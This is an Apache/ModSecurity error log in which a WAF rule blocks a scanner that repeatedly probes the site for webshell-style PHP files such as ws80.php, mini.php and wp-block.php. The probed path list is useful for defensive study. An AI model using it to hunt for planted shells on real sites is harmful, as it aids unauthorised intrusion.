[Sat Apr 25 08:07:28.680439 2026] [:error] [pid 44320:tid 44379] [client 20.100.197.186:22292] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inputs.php"] [unique_id "aewFwDmFqSpku_dij8iIiAAAAFc"]
[Sat Apr 25 08:07:31.772461 2026] [:error] [pid 44319:tid 44344] [client 20.100.197.186:43430] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inputs.php"] [unique_id "aewFw8zJPAVLUb2pWtJjzQAAAA8"]
[Sat Apr 25 08:07:34.985233 2026] [:error] [pid 44320:tid 44376] [client 20.100.197.186:40570] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inputs.php"] [unique_id "aewFxjmFqSpku_dij8iIkAAAAFQ"]
[Sat Apr 25 08:07:38.217167 2026] [:error] [pid 44319:tid 44348] [client 20.100.197.186:35966] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "aewFyszJPAVLUb2pWtJj1QAAABM"]
[Sat Apr 25 08:07:39.096205 2026] [:error] [pid 44319:tid 44331] [client 20.100.197.186:37824] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "aewFy8zJPAVLUb2pWtJj1gAAAAI"]
[Sat Apr 25 08:07:40.404056 2026] [:error] [pid 44320:tid 44362] [client 20.100.197.186:43402] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "aewFzDmFqSpku_dij8iIlAAAAEY"]
[Sat Apr 25 08:07:43.862091 2026] [:error] [pid 44319:tid 44344] [client 20.100.197.186:23771] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "aewFz8zJPAVLUb2pWtJj3QAAAA8"]
[Sat Apr 25 08:07:46.773597 2026] [:error] [pid 44425:tid 44442] [client 20.100.197.186:40533] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws80.php"] [unique_id "aewF0iUl-VlItvY2tR8togAAAM8"]
[Sat Apr 25 08:07:48.047558 2026] [:error] [pid 46083:tid 46089] [client 20.100.197.186:39301] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws80.php"] [unique_id "aewF1Dxw_Zq74vWdjmlkwwAAAQI"]
[Sat Apr 25 08:07:51.558436 2026] [:error] [pid 44321:tid 44392] [client 20.100.197.186:53687] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws80.php"] [unique_id "aewF141b5lV-asWa_Y5COQAAAIk"]
[Sat Apr 25 08:07:55.510906 2026] [:error] [pid 44319:tid 44339] [client 20.100.197.186:5283] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws80.php"] [unique_id "aewF28zJPAVLUb2pWtJj4QAAAAo"]
[Sat Apr 25 08:08:00.217297 2026] [:error] [pid 46083:tid 46102] [client 20.100.197.186:23243] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aewF4Dxw_Zq74vWdjmlkywAAAQ8"]
[Sat Apr 25 08:08:04.437411 2026] [:error] [pid 44321:tid 44398] [client 20.100.197.186:19659] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aewF5I1b5lV-asWa_Y5CQgAAAI8"]
[Sat Apr 25 08:08:05.747576 2026] [:error] [pid 46083:tid 46095] [client 20.100.197.186:40507] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aewF5Txw_Zq74vWdjmlkzgAAAQg"]
[Sat Apr 25 08:08:14.242344 2026] [proxy_fcgi:error] [pid 44321:tid 44387] [client 20.100.197.186:9760] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:08:14.504505 2026] [proxy_fcgi:error] [pid 44321:tid 44403] [client 20.100.197.186:9760] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:08:14.766795 2026] [proxy_fcgi:error] [pid 44321:tid 44406] [client 20.100.197.186:9760] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:08:15.043448 2026] [proxy_fcgi:error] [pid 44321:tid 44395] [client 20.100.197.186:9760] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:08:15.306907 2026] [proxy_fcgi:error] [pid 44321:tid 44407] [client 20.100.197.186:9760] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:08:15.579505 2026] [proxy_fcgi:error] [pid 44321:tid 44394] [client 20.100.197.186:9760] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:08:15.841942 2026] [proxy_fcgi:error] [pid 44321:tid 44397] [client 20.100.197.186:9760] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:08:16.104314 2026] [proxy_fcgi:error] [pid 44321:tid 44402] [client 20.100.197.186:9760] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:08:16.370315 2026] [proxy_fcgi:error] [pid 44321:tid 44393] [client 20.100.197.186:9760] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:08:16.645537 2026] [proxy_fcgi:error] [pid 44321:tid 44400] [client 20.100.197.186:9760] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:08:16.909048 2026] [proxy_fcgi:error] [pid 44321:tid 44392] [client 20.100.197.186:9760] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:08:17.168290 2026] [:error] [pid 44321:tid 44387] [client 20.100.197.186:9760] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jk.php"] [unique_id "aewF8Y1b5lV-asWa_Y5CWgAAAIQ"]
[Sat Apr 25 08:08:18.140156 2026] [:error] [pid 44321:tid 44395] [client 20.100.197.186:9731] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jk.php"] [unique_id "aewF8o1b5lV-asWa_Y5CXQAAAIw"]
[Sat Apr 25 08:08:19.629049 2026] [:error] [pid 44321:tid 44398] [client 20.100.197.186:9365] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jk.php"] [unique_id "aewF841b5lV-asWa_Y5CYQAAAI8"]
[Sat Apr 25 08:08:20.687327 2026] [:error] [pid 44321:tid 44391] [client 20.100.197.186:5787] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jk.php"] [unique_id "aewF9I1b5lV-asWa_Y5CZgAAAIg"]
[Sat Apr 25 08:08:21.964682 2026] [:error] [pid 44321:tid 44403] [client 20.100.197.186:17284] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dx.php"] [unique_id "aewF9Y1b5lV-asWa_Y5CagAAAJQ"]
[Sat Apr 25 08:08:23.598794 2026] [:error] [pid 44321:tid 44388] [client 20.100.197.186:35380] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dx.php"] [unique_id "aewF941b5lV-asWa_Y5CcAAAAIU"]
[Sat Apr 25 08:08:25.027582 2026] [:error] [pid 44321:tid 44401] [client 20.100.197.186:13672] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dx.php"] [unique_id "aewF-Y1b5lV-asWa_Y5CdAAAAJI"]
[Sat Apr 25 08:08:27.385734 2026] [:error] [pid 46083:tid 46089] [client 20.100.197.186:5853] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dx.php"] [unique_id "aewF-zxw_Zq74vWdjmlk6QAAAQI"]
[Sat Apr 25 08:08:28.749286 2026] [:error] [pid 46083:tid 46109] [client 20.100.197.186:50935] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aa.php"] [unique_id "aewF_Dxw_Zq74vWdjmlk6gAAARU"]
[Sat Apr 25 08:08:30.338216 2026] [:error] [pid 46083:tid 46103] [client 20.100.197.186:58093] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aa.php"] [unique_id "aewF_jxw_Zq74vWdjmlk7AAAARA"]
[Sat Apr 25 08:08:32.072173 2026] [:error] [pid 46083:tid 46087] [client 20.100.197.186:17283] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aa.php"] [unique_id "aewGADxw_Zq74vWdjmlk7QAAAQA"]
[Sat Apr 25 08:08:33.284945 2026] [:error] [pid 46083:tid 46105] [client 20.100.197.186:58062] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aa.php"] [unique_id "aewGATxw_Zq74vWdjmlk8AAAARI"]
[Sat Apr 25 08:08:35.189056 2026] [:error] [pid 44320:tid 44363] [client 20.100.197.186:39379] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "aewGAzmFqSpku_dij8iIqQAAAEc"]
[Sat Apr 25 08:08:36.001131 2026] [:error] [pid 46083:tid 46108] [client 20.100.197.186:50157] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "aewGBDxw_Zq74vWdjmlk9AAAARQ"]
[Sat Apr 25 08:08:37.535194 2026] [:error] [pid 44320:tid 44359] [client 20.100.197.186:37807] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "aewGBTmFqSpku_dij8iIqgAAAEM"]
[Sat Apr 25 08:08:38.850713 2026] [:error] [pid 46083:tid 46089] [client 20.100.197.186:37778] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "aewGBjxw_Zq74vWdjmlk-gAAAQI"]
[Sat Apr 25 08:08:40.364617 2026] [:error] [pid 46083:tid 46101] [client 20.100.197.186:22356] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "aewGCDxw_Zq74vWdjmlk_AAAAQ4"]
[Sat Apr 25 08:08:42.721769 2026] [:error] [pid 46083:tid 46095] [client 20.100.197.186:39405] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "aewGCjxw_Zq74vWdjmllAAAAAQg"]
[Sat Apr 25 08:08:44.043987 2026] [:error] [pid 46083:tid 46112] [client 20.100.197.186:13166] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "aewGDDxw_Zq74vWdjmllAwAAARg"]
[Sat Apr 25 08:08:45.858388 2026] [:error] [pid 44321:tid 44396] [client 20.100.197.186:21071] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "aewGDY1b5lV-asWa_Y5CiQAAAI0"]
[Sat Apr 25 08:08:49.002033 2026] [:error] [pid 46083:tid 46088] [client 20.100.197.186:13159] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "aewGETxw_Zq74vWdjmllCgAAAQE"]
[Sat Apr 25 08:08:51.375961 2026] [:error] [pid 44320:tid 44376] [client 20.100.197.186:45495] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "aewGEzmFqSpku_dij8iIrQAAAFQ"]
[Sat Apr 25 08:08:53.513454 2026] [:error] [pid 46083:tid 46107] [client 20.100.197.186:7033] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "aewGFTxw_Zq74vWdjmllEgAAARM"]
[Sat Apr 25 08:08:55.536791 2026] [:error] [pid 46083:tid 46104] [client 20.100.197.186:60396] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "aewGFzxw_Zq74vWdjmllIgAAARE"]
[Sat Apr 25 08:08:58.857926 2026] [:error] [pid 46083:tid 46105] [client 20.100.197.186:13594] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aewGGjxw_Zq74vWdjmllKQAAARI"]
[Sat Apr 25 08:09:00.522602 2026] [:error] [pid 46083:tid 46093] [client 20.100.197.186:17282] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aewGHDxw_Zq74vWdjmllKwAAAQY"]
[Sat Apr 25 08:09:02.112713 2026] [:error] [pid 46083:tid 46101] [client 20.100.197.186:17321] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aewGHjxw_Zq74vWdjmllMAAAAQ4"]
[Sat Apr 25 08:09:04.807589 2026] [:error] [pid 44321:tid 44385] [client 20.100.197.186:19611] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aewGII1b5lV-asWa_Y5ClwAAAII"]
[Sat Apr 25 08:09:07.705573 2026] [:error] [pid 44319:tid 44336] [client 20.100.197.186:46282] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aewGI8zJPAVLUb2pWtJkCQAAAAc"]
[Sat Apr 25 08:09:09.820120 2026] [:error] [pid 46083:tid 46109] [client 20.100.197.186:45420] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aewGJTxw_Zq74vWdjmllTAAAARU"]
[Sat Apr 25 08:09:11.149902 2026] [:error] [pid 44425:tid 44428] [client 20.100.197.186:19313] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aewGJyUl-VlItvY2tR8t5QAAAME"]
[Sat Apr 25 08:09:13.833174 2026] [:error] [pid 44319:tid 44345] [client 20.100.197.186:58488] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aewGKczJPAVLUb2pWtJkDAAAABA"]
[Sat Apr 25 08:09:15.085549 2026] [:error] [pid 44425:tid 44450] [client 20.100.197.186:25669] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "aewGKyUl-VlItvY2tR8t5wAAANc"]
[Sat Apr 25 08:09:17.797688 2026] [proxy_fcgi:error] [pid 46083:tid 46091] [client 20.100.197.186:10064] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:09:18.193712 2026] [proxy_fcgi:error] [pid 46083:tid 46092] [client 20.100.197.186:10064] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:09:18.477716 2026] [proxy_fcgi:error] [pid 46083:tid 46112] [client 20.100.197.186:10064] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:09:18.744051 2026] [proxy_fcgi:error] [pid 46083:tid 46108] [client 20.100.197.186:10064] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:09:19.007726 2026] [proxy_fcgi:error] [pid 46083:tid 46098] [client 20.100.197.186:10064] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:09:19.825817 2026] [proxy_fcgi:error] [pid 46083:tid 46095] [client 20.100.197.186:10064] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:09:20.360288 2026] [proxy_fcgi:error] [pid 46083:tid 46107] [client 20.100.197.186:10064] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:09:20.626128 2026] [proxy_fcgi:error] [pid 46083:tid 46101] [client 20.100.197.186:10064] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:09:20.890086 2026] [proxy_fcgi:error] [pid 46083:tid 46102] [client 20.100.197.186:10064] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:09:21.161390 2026] [proxy_fcgi:error] [pid 46083:tid 46097] [client 20.100.197.186:10064] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:09:21.453561 2026] [:error] [pid 46083:tid 46094] [client 20.100.197.186:10064] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "aewGMTxw_Zq74vWdjmllcgAAAQc"]
[Sat Apr 25 08:09:22.845279 2026] [:error] [pid 46083:tid 46104] [client 20.100.197.186:14149] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "aewGMjxw_Zq74vWdjmlldQAAARE"]
[Sat Apr 25 08:09:25.981294 2026] [:error] [pid 46083:tid 46102] [client 20.100.197.186:24230] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "aewGNTxw_Zq74vWdjmllgAAAAQ8"]
